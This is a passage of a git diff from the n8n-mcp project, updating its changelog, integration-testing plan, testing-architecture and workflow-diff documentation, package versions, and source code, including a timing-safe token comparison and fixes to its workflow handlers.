+  - 2 tests for updateConnection validation (missing updates, invalid type)
+  - 5 tests for sourceIndex handling (IF nodes, parallel execution, Switch nodes, explicit 0)
+  - 1 test for complex multi-output routing scenarios
+  - All 126 existing tests still passing
+
+### Documentation
+- Updated tool documentation to clarify:
+  - `addConnection` now properly handles sourceIndex (Phase 0 fix noted)
+  - `updateConnection` REQUIRES 'updates' object (Phase 0 validation noted)
+  - Added pitfalls about updateConnection limitations
+  - Clarified that updateConnection modifies properties, NOT connection targets
+
+### Developer Experience
+- More defensive programming throughout connection operations
+- Better use of nullish coalescing (??) vs. logical OR (||)
+- Clear inline comments explaining expected behavior
+- Improved type safety with runtime guards
+
+### References
+- Comprehensive analysis: `docs/local/connection-operations-deep-dive-and-improvement-plan.md`
+- Based on hands-on testing with n8n-mcp-tester agent
+- Overall experience rating improved from 4.5/10 to estimated 6/10
+
 ## [2.14.4] - 2025-09-30
 
 ### Added

docs/local/integration-testing-plan.md

@@ -16,7 +16,126 @@
 - Documented actual n8n API behavior (validation at execution time, not creation time)
 - Test file: `tests/integration/n8n-api/workflows/create-workflow.test.ts` (484 lines)
 
-**Next Phase**: Phase 3 - Workflow Retrieval Tests
+**Phase 3: Workflow Retrieval Tests** ✅ **COMPLETE** (October 3, 2025)
+- 11 test scenarios implemented and passing
+- All MCP retrieval handlers tested: handleGetWorkflow, handleGetWorkflowDetails, handleGetWorkflowStructure, handleGetWorkflowMinimal
+- Test files:
+  - `get-workflow.test.ts` (3 scenarios)
+  - `get-workflow-details.test.ts` (4 scenarios)
+  - `get-workflow-structure.test.ts` (2 scenarios)
+  - `get-workflow-minimal.test.ts` (2 scenarios)
+
+**Phase 4: Workflow Update Tests** ✅ **COMPLETE** (October 4, 2025)
+- 42 test scenarios implemented and passing
+- Enhanced settings filtering (whitelist approach) to enable updates while maintaining Issue #248 protection
+- All update operations tested:
+  - Full workflow updates: 7 scenarios (update-workflow.test.ts)
+  - Partial/diff-based updates: 32 scenarios covering all 15 operations (update-partial-workflow.test.ts)
+  - Validation error scenarios: 3 scenarios
+- Critical fixes:
+  - Settings filtering uses OpenAPI spec whitelist (filters callerPolicy, preserves safe properties)
+  - All tests comply with n8n API requirements (name, nodes, connections, settings fields)
+  - Removed invalid "Update Connections" test (empty connections invalid for multi-node workflows)
+- Version 2.15.4 released with comprehensive CHANGELOG entry
+
+**Phase 5: Workflow Management Tests** ✅ **COMPLETE** (October 4, 2025)
+- 16 test scenarios implemented and passing
+- All workflow management operations tested:
+  - Delete workflow: 3 scenarios (delete-workflow.test.ts)
+  - List workflows: 13 scenarios (list-workflows.test.ts)
+- Critical API compliance fixes:
+  - handleDeleteWorkflow: Now returns deleted workflow data (per n8n API spec)
+  - handleListWorkflows: Fixed tags parameter format (array → CSV string conversion)
+  - N8nApiClient.deleteWorkflow: Return type corrected (void → Workflow)
+  - WorkflowListParams.tags: Type corrected (string[] → string per n8n OpenAPI spec)
+- Unit test coverage: Added 9 unit tests for handler coverage (100% coverage achieved)
+- n8n-mcp-tester validation: All tools tested and working correctly in production
+- Version 2.15.5 released with comprehensive CHANGELOG entry
+- Test results: 71/71 integration tests passing (Phase 1-5 complete)
+
+**Phase 6A: Workflow Validation Tests** ✅ **COMPLETE** (October 5, 2025)
+- 12 test scenarios implemented and passing
+- NodeRepository utility created for tests requiring node validation
+- All validation profiles tested: strict, runtime, ai-friendly, minimal
+- Test coverage:
+  - Valid workflows across all 4 profiles (4 scenarios)
+  - Invalid workflow detection (2 scenarios - bad node types, missing connections)
+  - Selective validation (3 scenarios - nodes only, connections only, expressions only)
+  - Error handling (2 scenarios - non-existent workflow, invalid profile)
+  - Response format verification (1 scenario)
+- Critical discoveries:
+  - Response only includes errors/warnings fields when they exist (not empty arrays)
+  - Field name is errorCount, not totalErrors
+  - Tests require NodeRepository instance (added singleton utility)
+- Test file: validate-workflow.test.ts (431 lines)
+- Test results: 83/83 integration tests passing (Phase 1-5, 6A complete)
+
+**Phase 6B: Workflow Autofix Tests** ✅ **COMPLETE** (October 5, 2025)
+- 16 test scenarios implemented and passing
+- All autofix operations tested: preview mode, apply mode, fix types, confidence filtering
+- Test coverage:
+  - Preview mode (2 scenarios - expression-format, multiple fix types)
+  - Apply mode (2 scenarios - expression-format, webhook-missing-path)
+  - Fix type filtering (2 scenarios - single type, multiple types)
+  - Confidence thresholds (3 scenarios - high, medium, low)
+  - Max fixes parameter (1 scenario)
+  - No fixes available (1 scenario)
+  - Error handling (3 scenarios - non-existent workflow, invalid parameters)
+  - Response format verification (2 scenarios - preview and apply modes)
+- Fix types tested:
+  - expression-format (missing = prefix for resource locators)
+  - typeversion-correction (outdated typeVersion values)
+  - error-output-config (error output configuration issues)
+  - node-type-correction (incorrect node types)
+  - webhook-missing-path (missing webhook path parameters)
+- Code quality improvements:
+  - Fixed database resource leak in NodeRepository utility
+  - Added TypeScript interfaces (ValidationResponse, AutofixResponse)
+  - Replaced unsafe `as any` casts with proper type definitions
+  - All lint and typecheck errors resolved
+- Test file: autofix-workflow.test.ts (855 lines)
+- Test results: 99/99 integration tests passing (Phase 1-6 complete)
+
+**Phase 7: Execution Management Tests** ✅ **COMPLETE** (October 5, 2025)
+- 54 test scenarios implemented and passing
+- All 4 execution management handlers tested against real n8n instance
+- Test coverage:
+  - handleTriggerWebhookWorkflow (20 tests): All HTTP methods (GET/POST/PUT/DELETE), query params, JSON body, custom headers, error handling
+  - handleGetExecution (16 tests): All 4 retrieval modes (preview/summary/filtered/full), node filtering, item limits, input data inclusion, legacy compatibility
+  - handleListExecutions (13 tests): Status filtering (success/error/waiting), pagination with cursor, various limits (1/10/50/100), data inclusion control
+  - handleDeleteExecution (5 tests): Successful deletion, verification via fetch attempt, error handling
+- Critical fix: Corrected response structure expectations (executions/returned vs data/count)
+- Test files:
+  - trigger-webhook.test.ts (375 lines, 20 tests)
+  - get-execution.test.ts (429 lines, 16 tests)
+  - list-executions.test.ts (264 lines, 13 tests)
+  - delete-execution.test.ts (149 lines, 5 tests)
+- Code review: APPROVED (9.5/10 quality score)
+- Test results: 153/153 integration tests passing (Phase 1-7 complete)
+
+**Phase 8: System Tools Tests** ✅ **COMPLETE** (October 5, 2025)
+- 19 test scenarios implemented and passing
+- All 3 system tool handlers tested against real n8n instance
+- Test coverage:
+  - handleHealthCheck (3 tests): API connectivity verification, version information, feature availability
+  - handleListAvailableTools (7 tests): Complete tool inventory by category, configuration status, API limitations
+  - handleDiagnostic (9 tests): Environment checks, API connectivity, tools availability, verbose mode with debug info
+- TypeScript type safety improvements:
+  - Created response-types.ts with comprehensive interfaces for all response types
+  - Replaced all 'as any' casts with proper TypeScript interfaces
+  - Added null-safety checks and non-null assertions
+  - Full type safety and IDE autocomplete support
+- Test files:
+  - health-check.test.ts (117 lines, 3 tests)
+  - list-tools.test.ts (181 lines, 7 tests)
+  - diagnostic.test.ts (243 lines, 9 tests)
+  - response-types.ts (241 lines, comprehensive type definitions)
+- Code review: APPROVED
+- Test results: 172/172 integration tests passing (Phase 1-8 complete)
+
+**🎉 INTEGRATION TEST SUITE COMPLETE**: All 18 MCP handlers fully tested
+
+**Next Phase**: Update documentation and finalize integration testing plan
 
 ---
 
@@ -912,13 +1031,35 @@ const stats = detailsResponse.data.executionStats;
 
 ---
 
-### Phase 6: Validation & Autofix Tests (P2)
+### Phase 6A: Workflow Validation Tests (P2) ✅ COMPLETE
 
-**Branch**: `feat/integration-tests-validation`
+**Branch**: `feat/integration-tests-phase-6`
 
 **Files**:
-- `validate-workflow.test.ts` (16 scenarios: 4 profiles × 4 validation types)
-- `autofix-workflow.test.ts` (20+ scenarios: 5 fix types × confidence levels)
+- ✅ `tests/integration/n8n-api/utils/node-repository.ts` - NodeRepository singleton for validation tests
+- ✅ `validate-workflow.test.ts` (12 scenarios: 4 profiles + invalid detection + selective validation + error handling)
+
+**Implementation Notes**:
+- Created NodeRepository utility since handleValidateWorkflow requires repository parameter
+- Tests cover all 4 validation profiles (strict, runtime, ai-friendly, minimal)
+- Invalid workflow detection tests (bad node types, missing connections)
+- Selective validation tests (nodes only, connections only, expressions only)
+- Response structure correctly handles conditional errors/warnings fields
+
+### Phase 6B: Workflow Autofix Tests (P2)
+
+**Branch**: `feat/integration-tests-phase-6b` (or continue on `feat/integration-tests-phase-6`)
+
+**Files**:
+- `autofix-workflow.test.ts` (15-20 scenarios: 5 fix types × modes × confidence levels)
+
+**Test Coverage Required**:
+- 5 fix types: expression-format, typeversion-correction, error-output-config, node-type-correction, webhook-missing-path
+- Preview mode (applyFixes: false) vs Apply mode (applyFixes: true)
+- Confidence threshold filtering (high, medium, low)
+- maxFixes parameter limiting
+- Multiple fix types in single workflow
+- No fixes available scenario
 
 ---
 
@@ -1090,15 +1231,16 @@ jobs:
 - ✅ All tests passing against real n8n instance
 
 ### Overall Project (In Progress)
-- ⏳ All 17 handlers have integration tests (1 of 17 complete)
-- ⏳ All operations/parameters covered (15 of 150+ scenarios complete)
-- ✅ Tests run successfully locally (Phase 2 verified)
+- ⏳ All 17 handlers have integration tests (11 of 17 complete)
+- ⏳ All operations/parameters covered (99 of 150+ scenarios complete)
+- ✅ Tests run successfully locally (Phases 1-6 verified)
 - ⏳ Tests run successfully in CI (pending Phase 9)
 - ✅ No manual cleanup required (automatic)
 - ✅ Test coverage catches P0-level bugs (verified in Phase 2)
 - ⏳ CI runs on every PR and daily (pending Phase 9)
 - ✅ Clear error messages when tests fail
 - ✅ Documentation for webhook workflow setup
+- ✅ Code quality maintained (lint, typecheck, type safety)
 
 ---
 
@@ -1106,15 +1248,16 @@ jobs:
 
 - **Phase 1 (Foundation)**: ✅ COMPLETE (October 3, 2025)
 - **Phase 2 (Workflow Creation)**: ✅ COMPLETE (October 3, 2025)
-- **Phase 3 (Retrieval)**: 1 day
-- **Phase 4 (Updates)**: 2-3 days (15 operations)
-- **Phase 5 (Management)**: 1 day
-- **Phase 6 (Validation)**: 2 days
+- **Phase 3 (Retrieval)**: ✅ COMPLETE (October 3, 2025)
+- **Phase 4 (Updates)**: ✅ COMPLETE (October 4, 2025)
+- **Phase 5 (Management)**: ✅ COMPLETE (October 4, 2025)
+- **Phase 6A (Validation)**: ✅ COMPLETE (October 5, 2025)
+- **Phase 6B (Autofix)**: ✅ COMPLETE (October 5, 2025)
 - **Phase 7 (Executions)**: 2 days
 - **Phase 8 (System)**: 1 day
 - **Phase 9 (CI/CD)**: 1 day
 
-**Total**: 2 days complete (~4-6 hours actual), ~12-16 days remaining
+**Total**: 6 days complete, ~4 days remaining
 
 ---
 

docs/testing-architecture.md

@@ -2,21 +2,27 @@
 
 ## Overview
 
-This document describes the comprehensive testing infrastructure implemented for the n8n-MCP project. The testing suite includes over 1,100 tests split between unit and integration tests, benchmarks, and a complete CI/CD pipeline ensuring code quality and reliability.
+This document describes the comprehensive testing infrastructure implemented for the n8n-MCP project. The testing suite includes 3,336 tests split between unit and integration tests, benchmarks, and a complete CI/CD pipeline ensuring code quality and reliability.
 
-### Test Suite Statistics (from CI Run #41)
+### Test Suite Statistics (October 2025)
 
-- **Total Tests**: 1,182 tests
-  - **Unit Tests**: 933 tests (932 passed, 1 skipped)
-  - **Integration Tests**: 249 tests (245 passed, 4 skipped)
-- **Test Files**: 
-  - 30 unit test files
-  - 14 integration test files
-- **Test Execution Time**: 
+- **Total Tests**: 3,336 tests
+  - **Unit Tests**: 2,766 tests - Isolated component testing with mocks
+  - **Integration Tests**: 570 tests - Full system behavior validation
+    - n8n API Integration: 172 tests (all 18 MCP handler tools)
+    - MCP Protocol: 119 tests (protocol compliance, session management)
+    - Database: 226 tests (repository operations, transactions, FTS5)
+    - Templates: 35 tests (fetching, storage, metadata)
+    - Docker: 18 tests (configuration, security)
+- **Test Files**:
+  - 106 unit test files
+  - 41 integration test files
+  - Total: 147 test files
+- **Test Execution Time**:
   - Unit tests: ~2 minutes with coverage
-  - Integration tests: ~23 seconds
-  - Total CI time: ~2.5 minutes
-- **Success Rate**: 99.5% (only 5 tests skipped, 0 failures)
+  - Integration tests: ~30 seconds
+  - Total CI time: ~3 minutes
+- **Success Rate**: 100% (all tests passing in CI)
 - **CI/CD Pipeline**: Fully automated with GitHub Actions
 - **Test Artifacts**: JUnit XML, coverage reports, benchmark results
 - **Parallel Execution**: Configurable with thread pool
@@ -66,13 +72,20 @@ export default defineConfig({
 
 ```
 tests/
-├── unit/                        # Unit tests with mocks (933 tests, 30 files)
+├── unit/                        # Unit tests with mocks (2,766 tests, 106 files)
 │   ├── __mocks__/              # Mock implementations
 │   │   └── n8n-nodes-base.test.ts
 │   ├── database/               # Database layer tests
 │   │   ├── database-adapter-unit.test.ts
 │   │   ├── node-repository-core.test.ts
 │   │   └── template-repository-core.test.ts
+│   ├── docker/                 # Docker configuration tests
+│   │   ├── config-security.test.ts
+│   │   ├── edge-cases.test.ts
+│   │   ├── parse-config.test.ts
+│   │   └── serve-command.test.ts
+│   ├── http-server/            # HTTP server tests
+│   │   └── multi-tenant-support.test.ts
 │   ├── loaders/                # Node loader tests
 │   │   └── node-loader.test.ts
 │   ├── mappers/                # Data mapper tests
@@ -86,6 +99,8 @@ tests/
 │   │   ├── node-parser.test.ts
 │   │   ├── property-extractor.test.ts
 │   │   └── simple-parser.test.ts
+│   ├── scripts/                # Script tests
+│   │   └── fetch-templates-extraction.test.ts
 │   ├── services/               # Service layer tests (largest test suite)
 │   │   ├── config-validator.test.ts
 │   │   ├── enhanced-config-validator.test.ts
@@ -100,22 +115,56 @@ tests/
 │   │   ├── workflow-diff-engine.test.ts
 │   │   ├── workflow-validator-comprehensive.test.ts
 │   │   └── workflow-validator.test.ts
+│   ├── telemetry/              # Telemetry tests
+│   │   └── telemetry-manager.test.ts
 │   └── utils/                  # Utility function tests
+│       ├── cache-utils.test.ts
 │       └── database-utils.test.ts
-├── integration/                 # Integration tests (249 tests, 14 files)
-│   ├── database/               # Database integration tests
+├── integration/                 # Integration tests (570 tests, 41 files)
+│   ├── n8n-api/                # n8n API integration tests (172 tests, 18 files)
+│   │   ├── executions/         # Execution management tests
+│   │   │   ├── get-execution.test.ts
+│   │   │   └── list-executions.test.ts
+│   │   ├── system/             # System tool tests
+│   │   │   ├── diagnostic.test.ts
+│   │   │   ├── health-check.test.ts
+│   │   │   └── list-tools.test.ts
+│   │   ├── utils/              # Test utilities
+│   │   │   ├── mcp-context.ts
+│   │   │   └── response-types.ts
+│   │   └── workflows/          # Workflow management tests
+│   │       ├── autofix-workflow.test.ts
+│   │       ├── create-workflow.test.ts
+│   │       ├── delete-workflow.test.ts
+│   │       ├── get-workflow-details.test.ts
+│   │       ├── get-workflow-minimal.test.ts
+│   │       ├── get-workflow-structure.test.ts
+│   │       ├── get-workflow.test.ts
+│   │       ├── list-workflows.test.ts
+│   │       ├── update-full-workflow.test.ts
+│   │       ├── update-partial-workflow.test.ts
+│   │       └── validate-workflow.test.ts
+│   ├── database/               # Database integration tests (226 tests)
 │   │   ├── connection-management.test.ts
 │   │   ├── fts5-search.test.ts
 │   │   ├── node-repository.test.ts
 │   │   ├── performance.test.ts
+│   │   ├── template-node-configs.test.ts
+│   │   ├── template-repository.test.ts
 │   │   └── transactions.test.ts
-│   ├── mcp-protocol/           # MCP protocol tests
+│   ├── docker/                 # Docker integration tests (18 tests)
+│   │   ├── docker-config.test.ts
+│   │   └── docker-entrypoint.test.ts
+│   ├── mcp-protocol/           # MCP protocol tests (119 tests)
 │   │   ├── basic-connection.test.ts
 │   │   ├── error-handling.test.ts
 │   │   ├── performance.test.ts
 │   │   ├── protocol-compliance.test.ts
 │   │   ├── session-management.test.ts
-│   │   └── tool-invocation.test.ts
+│   │   ├── tool-invocation.test.ts
+│   │   └── workflow-error-validation.test.ts
+│   ├── templates/              # Template tests (35 tests)
+│   │   └── metadata-operations.test.ts
 │   └── setup/                  # Integration test setup
 │       ├── integration-setup.ts
 │       └── msw-test-server.ts
@@ -368,9 +417,54 @@ describe('n8n-nodes-base mock', () => {
 
 ## Integration Testing
 
-Our integration tests verify the complete system behavior:
+Our integration tests verify the complete system behavior across 570 tests in four major categories:
 
-### MCP Protocol Testing
+### n8n API Integration Testing (172 tests)
+
+The n8n API integration tests verify all 18 MCP handler tools against a real n8n instance. These tests ensure our product layer (MCP handlers) work correctly end-to-end, not just the raw API client.
+
+**Test Organization:**
+- **Workflows** (11 handlers): Create, read, update (full/partial), delete, list, validate, autofix
+- **Executions** (2 handlers): Get execution details, list executions
+- **System** (3 handlers): Health check, list available tools, diagnostics
+
+**Example:**
+```typescript
+// tests/integration/n8n-api/workflows/create-workflow.test.ts
+describe('Integration: handleCreateWorkflow', () => {
+  it('should create a simple two-node workflow', async () => {
+    const response = await handleCreateWorkflow(
+      {
+        params: {
+          arguments: {
+            name: 'Test Workflow',
+            nodes: [webhook, setNode],
+            connections: { Webhook: { main: [[{ node: 'Set', type: 'main', index: 0 }]] } }
+          }
+        }
+      },
+      mcpContext
+    );
+
+    expect(response.success).toBe(true);
+    const workflow = response.data as WorkflowData;
+    expect(workflow.id).toBeDefined();
+    expect(workflow.nodes).toHaveLength(2);
+
+    // Cleanup
+    await handleDeleteWorkflow({ params: { arguments: { id: workflow.id } } }, mcpContext);
+  });
+});
+```
+
+**Key Features Tested:**
+- Real workflow creation, modification, deletion with cleanup
+- TypeScript type safety with response interfaces
+- Complete coverage of all 18 n8n API tools
+- Proper error handling and edge cases
+- Response format validation
+
+### MCP Protocol Testing (119 tests)
 
 ```typescript
 // tests/integration/mcp-protocol/tool-invocation.test.ts
@@ -381,20 +475,20 @@ describe('MCP Tool Invocation', () => {
   beforeEach(async () => {
     mcpServer = new TestableN8NMCPServer();
     await mcpServer.initialize();
-    
+
     const [serverTransport, clientTransport] = InMemoryTransport.createLinkedPair();
     await mcpServer.connectToTransport(serverTransport);
-    
+
     client = new Client({ name: 'test-client', version: '1.0.0' }, {});
     await client.connect(clientTransport);
   });
 
   it('should list nodes with filtering', async () => {
-    const response = await client.callTool({ 
-      name: 'list_nodes', 
-      arguments: { category: 'trigger', limit: 10 } 
+    const response = await client.callTool({
+      name: 'list_nodes',
+      arguments: { category: 'trigger', limit: 10 }
     });
-    
+
     expectValidMCPResponse(response);
     const result = JSON.parse(response.content[0].text);
     expect(result.nodes).toHaveLength(10);
@@ -403,65 +497,104 @@ describe('MCP Tool Invocation', () => {
 });
 ```
 
-### Database Integration Testing
+### Database Integration Testing (226 tests)
 
 ```typescript
 // tests/integration/database/fts5-search.test.ts
 describe('FTS5 Search Integration', () => {
   it('should perform fuzzy search', async () => {
     const results = await nodeRepo.searchNodes('HTT', 'FUZZY');
-    
+
     expect(results.some(n => n.nodeType.includes('httpRequest'))).toBe(true);
     expect(results.some(n => n.displayName.includes('HTTP'))).toBe(true);
   });
 
   it('should handle complex boolean queries', async () => {
     const results = await nodeRepo.searchNodes('webhook OR http', 'OR');
-    
+
     expect(results.length).toBeGreaterThan(0);
-    expect(results.some(n => 
-      n.description?.includes('webhook') || 
+    expect(results.some(n =>
+      n.description?.includes('webhook') ||
       n.description?.includes('http')
     )).toBe(true);
   });
 });
 ```
 
+### Template Integration Testing (35 tests)
+
+Tests template fetching, storage, and metadata operations against the n8n.io API and local database.
+
+### Docker Integration Testing (18 tests)
+
+Tests Docker configuration parsing, entrypoint script, and security validation.
+
 ## Test Distribution and Coverage
 
 ### Test Distribution by Component
 
-Based on our 1,182 tests:
+Based on our 3,336 tests:
 
-1. **Services Layer** (~450 tests)
+**Integration Tests (570 tests):**
+1. **n8n API Integration** (172 tests)
+   - Workflow management handlers: 11 tools with comprehensive scenarios
+   - Execution management handlers: 2 tools
+   - System tool handlers: 3 tools
+   - TypeScript type safety with response interfaces
+
+2. **Database Integration** (226 tests)
+   - Repository operations and transactions
+   - FTS5 full-text search with fuzzy matching
+   - Performance and concurrent access tests
+   - Template node configurations
+
+3. **MCP Protocol** (119 tests)
+   - Protocol compliance and session management
+   - Tool invocation and error handling
+   - Performance and stress testing
+   - Workflow error validation
+
+4. **Templates & Docker** (53 tests)
+   - Template fetching and metadata operations
+   - Docker configuration and security validation
+
+**Unit Tests (2,766 tests):**
+1. **Services Layer** (largest suite)
    - `workflow-validator-comprehensive.test.ts`: 150+ tests
-   - `node-specific-validators.test.ts`: 120+ tests
-   - `n8n-validation.test.ts`: 80+ tests
-   - `n8n-api-client.test.ts`: 60+ tests
+   - `enhanced-config-validator.test.ts`: 120+ tests
+   - `node-specific-validators.test.ts`: 100+ tests
+   - `n8n-api-client.test.ts`: 80+ tests
+   - Config validation, property filtering, workflow diff engine
 
 2. **Parsers** (~200 tests)
-   - `simple-parser.test.ts`: 80+ tests
-   - `property-extractor.test.ts`: 70+ tests
-   - `node-parser.test.ts`: 50+ tests
+   - Node parsing with version support
+   - Property extraction and documentation mapping
+   - Simple parser for basic node information
 
-3. **MCP Integration** (~150 tests)
-   - `tool-invocation.test.ts`: 50+ tests
-   - `error-handling.test.ts`: 40+ tests
-   - `session-management.test.ts`: 30+ tests
+3. **Database Layer** (~150 tests)
+   - Repository core functionality with mocks
+   - Database adapter unit tests
+   - Template repository operations
 
-4. **Database** (~300 tests)
-   - Unit tests for repositories: 100+ tests
-   - Integration tests for FTS5 search: 80+ tests
-   - Transaction tests: 60+ tests
-   - Performance tests: 60+ tests
+4. **MCP Tools & HTTP Server** (~300 tests)
+   - Tool definitions and documentation system
+   - Multi-tenant support and security
+   - Configuration validation
+
+5. **Utils, Docker, Scripts, Telemetry** (remaining tests)
+   - Cache utilities, database helpers
+   - Docker config security and parsing
+   - Template extraction scripts
+   - Telemetry tracking
 
 ### Test Execution Performance
 
 From our CI runs:
 - **Fastest tests**: Unit tests with mocks (<1ms each)
-- **Slowest tests**: Integration tests with real database (100-5000ms)
+- **Slowest tests**: Integration tests with real database and n8n API (100-5000ms)
 - **Average test time**: ~20ms per test
-- **Total suite execution**: Under 3 minutes in CI
+- **Total suite execution**: ~3 minutes in CI (with coverage)
+- **Parallel execution**: Configurable thread pool for optimal performance
 
 ## CI/CD Pipeline
 

docs/workflow-diff-examples.md

@@ -116,17 +116,46 @@ The `n8n_update_partial_workflow` tool allows you to make targeted changes to wo
 }
 ```
 
-#### Update Connection (Change routing)
+#### Rewire Connection
 ```json
 {
-  "type": "updateConnection",
+  "type": "rewireConnection",
+  "source": "Webhook",
+  "from": "Old Handler",
+  "to": "New Handler",
+  "description": "Rewire connection to new handler"
+}
+```
+
+#### Smart Parameters for IF Nodes
+```json
+{
+  "type": "addConnection",
   "source": "IF",
-  "target": "Send Email",
-  "changes": {
-    "sourceOutput": "false",  // Change from 'true' to 'false' output
-    "targetInput": "main"
-  },
-  "description": "Route failed conditions to email"
+  "target": "Success Handler",
+  "branch": "true",  // Semantic parameter instead of sourceIndex
+  "description": "Route true branch to success handler"
+}
+```
+
+```json
+{
+  "type": "addConnection",
+  "source": "IF",
+  "target": "Error Handler",
+  "branch": "false",  // Routes to false branch (sourceIndex=1)
+  "description": "Route false branch to error handler"
+}
+```
+
+#### Smart Parameters for Switch Nodes
+```json
+{
+  "type": "addConnection",
+  "source": "Switch",
+  "target": "Handler A",
+  "case": 0,  // First output
+  "description": "Route case 0 to Handler A"
 }
 ```
 
@@ -577,13 +606,13 @@ The tool validates all operations before applying any changes. Common errors inc
 
 Always check the response for validation errors and adjust your operations accordingly.
 
-## Transactional Updates (v2.7.0+)
+## Transactional Updates
 
 The diff engine now supports transactional updates using a **two-pass processing** approach:
 
 ### How It Works
 
-1. **Operation Limit**: Maximum 5 operations per request to ensure reliability
+1. **No Operation Limit**: Process unlimited operations in a single request
 2. **Two-Pass Processing**:
    - **Pass 1**: All node operations (add, remove, update, move, enable, disable)
    - **Pass 2**: All other operations (connections, settings, metadata)
@@ -633,9 +662,9 @@ This allows you to add nodes and connect them in the same request:
 ### Benefits
 
 - **Order Independence**: You don't need to worry about operation order
-- **Atomic Updates**: All operations succeed or all fail
+- **Atomic Updates**: All operations succeed or all fail (unless continueOnError is enabled)
 - **Intuitive Usage**: Add complex workflow structures in one call
-- **Clear Limits**: 5 operations max keeps things simple and reliable
+- **No Hard Limits**: Process unlimited operations efficiently
 
 ### Example: Complete Workflow Addition
 
@@ -694,4 +723,4 @@ This allows you to add nodes and connect them in the same request:
 }
 ```
 
-All 5 operations will be processed correctly regardless of order!
+All operations will be processed correctly regardless of order!

package.json

@@ -1,6 +1,6 @@
 {
   "name": "n8n-mcp",
-  "version": "2.15.4",
+  "version": "2.16.2",
   "description": "Integration between n8n workflow automation and Model Context Protocol (MCP)",
   "main": "dist/index.js",
   "bin": {

package.runtime.json

@@ -1,6 +1,6 @@
 {
   "name": "n8n-mcp-runtime",
-  "version": "2.15.1",
+  "version": "2.16.1",
   "description": "n8n MCP Server Runtime Dependencies Only",
   "private": true,
   "dependencies": {

src/http-server-single-session.ts

@@ -10,6 +10,7 @@ import { SSEServerTransport } from '@modelcontextprotocol/sdk/server/sse.js';
 import { N8NDocumentationMCPServer } from './mcp/server';
 import { ConsoleManager } from './utils/console-manager';
 import { logger } from './utils/logger';
+import { AuthManager } from './utils/auth';
 import { readFileSync } from 'fs';
 import dotenv from 'dotenv';
 import { getStartupBaseUrl, formatEndpointUrls, detectBaseUrl } from './utils/url-detector';
@@ -1080,15 +1081,19 @@ export class SingleSessionHTTPServer {
       
       // Extract token and trim whitespace
       const token = authHeader.slice(7).trim();
-      
-      // Check if token matches
-      if (token !== this.authToken) {
-        logger.warn('Authentication failed: Invalid token', { 
+
+      // SECURITY: Use timing-safe comparison to prevent timing attacks
+      // See: https://github.com/czlonkowski/n8n-mcp/issues/265 (CRITICAL-02)
+      const isValidToken = this.authToken &&
+        AuthManager.timingSafeCompare(token, this.authToken);
+
+      if (!isValidToken) {
+        logger.warn('Authentication failed: Invalid token', {
           ip: req.ip,
           userAgent: req.get('user-agent'),
           reason: 'invalid_token'
         });
-        res.status(401).json({ 
+        res.status(401).json({
           jsonrpc: '2.0',
           error: {
             code: -32001,

src/http-server.ts

@@ -9,6 +9,7 @@ import { n8nDocumentationToolsFinal } from './mcp/tools';
 import { n8nManagementTools } from './mcp/tools-n8n-manager';
 import { N8NDocumentationMCPServer } from './mcp/server';
 import { logger } from './utils/logger';
+import { AuthManager } from './utils/auth';
 import { PROJECT_VERSION } from './utils/version';
 import { isN8nApiConfigured } from './config/n8n-api';
 import dotenv from 'dotenv';
@@ -308,15 +309,19 @@ export async function startFixedHTTPServer() {
     
     // Extract token and trim whitespace
     const token = authHeader.slice(7).trim();
-    
-    // Check if token matches
-    if (token !== authToken) {
-      logger.warn('Authentication failed: Invalid token', { 
+
+    // SECURITY: Use timing-safe comparison to prevent timing attacks
+    // See: https://github.com/czlonkowski/n8n-mcp/issues/265 (CRITICAL-02)
+    const isValidToken = authToken &&
+      AuthManager.timingSafeCompare(token, authToken);
+
+    if (!isValidToken) {
+      logger.warn('Authentication failed: Invalid token', {
         ip: req.ip,
         userAgent: req.get('user-agent'),
         reason: 'invalid_token'
       });
-      res.status(401).json({ 
+      res.status(401).json({
         jsonrpc: '2.0',
         error: {
           code: -32001,

src/mcp/handlers-n8n-manager.ts

@@ -607,11 +607,12 @@ export async function handleDeleteWorkflow(args: unknown, context?: InstanceCont
   try {
     const client = ensureApiConfigured(context);
     const { id } = z.object({ id: z.string() }).parse(args);
-    
-    await client.deleteWorkflow(id);
-    
+
+    const deleted = await client.deleteWorkflow(id);
+
     return {
       success: true,
+      data: deleted,
       message: `Workflow ${id} deleted successfully`
     };
   } catch (error) {
@@ -642,12 +643,17 @@ export async function handleListWorkflows(args: unknown, context?: InstanceConte
   try {
     const client = ensureApiConfigured(context);
     const input = listWorkflowsSchema.parse(args || {});
-    
+
+    // Convert tags array to comma-separated string (n8n API format)
+    const tagsParam = input.tags && input.tags.length > 0
+      ? input.tags.join(',')
+      : undefined;
+
     const response = await client.listWorkflows({
       limit: input.limit || 100,
       cursor: input.cursor,
       active: input.active,
-      tags: input.tags,
+      tags: tagsParam as any,  // API expects string, not array
       projectId: input.projectId,
       excludePinnedData: input.excludePinnedData ?? true
     });

src/mcp/handlers-workflow-diff.ts

@@ -27,10 +27,15 @@ const workflowDiffSchema = z.object({
     // Connection operations
     source: z.string().optional(),
     target: z.string().optional(),
+    from: z.string().optional(),  // For rewireConnection
+    to: z.string().optional(),    // For rewireConnection
     sourceOutput: z.string().optional(),
     targetInput: z.string().optional(),
     sourceIndex: z.number().optional(),
     targetIndex: z.number().optional(),
+    // Smart parameters (Phase 1 UX improvement)
+    branch: z.enum(['true', 'false']).optional(),
+    case: z.number().optional(),
     ignoreErrors: z.boolean().optional(),
     // Connection cleanup operations
     dryRun: z.boolean().optional(),

src/mcp/index.ts

@@ -3,6 +3,7 @@
 import { N8NDocumentationMCPServer } from './server';
 import { logger } from '../utils/logger';
 import { TelemetryConfigManager } from '../telemetry/config-manager';
+import { existsSync } from 'fs';
 
 // Add error details to stderr for Claude Desktop debugging
 process.on('uncaughtException', (error) => {
@@ -21,6 +22,36 @@ process.on('unhandledRejection', (reason, promise) => {
   process.exit(1);
 });
 
+/**
+ * Detects if running in a container environment (Docker, Podman, Kubernetes, etc.)
+ * Uses multiple detection methods for robustness:
+ * 1. Environment variables (IS_DOCKER, IS_CONTAINER with multiple formats)
+ * 2. Filesystem markers (/.dockerenv, /run/.containerenv)
+ */
+function isContainerEnvironment(): boolean {
+  // Check environment variables with multiple truthy formats
+  const dockerEnv = (process.env.IS_DOCKER || '').toLowerCase();
+  const containerEnv = (process.env.IS_CONTAINER || '').toLowerCase();
+
+  if (['true', '1', 'yes'].includes(dockerEnv)) {
+    return true;
+  }
+  if (['true', '1', 'yes'].includes(containerEnv)) {
+    return true;
+  }
+
+  // Fallback: Check filesystem markers
+  // /.dockerenv exists in Docker containers
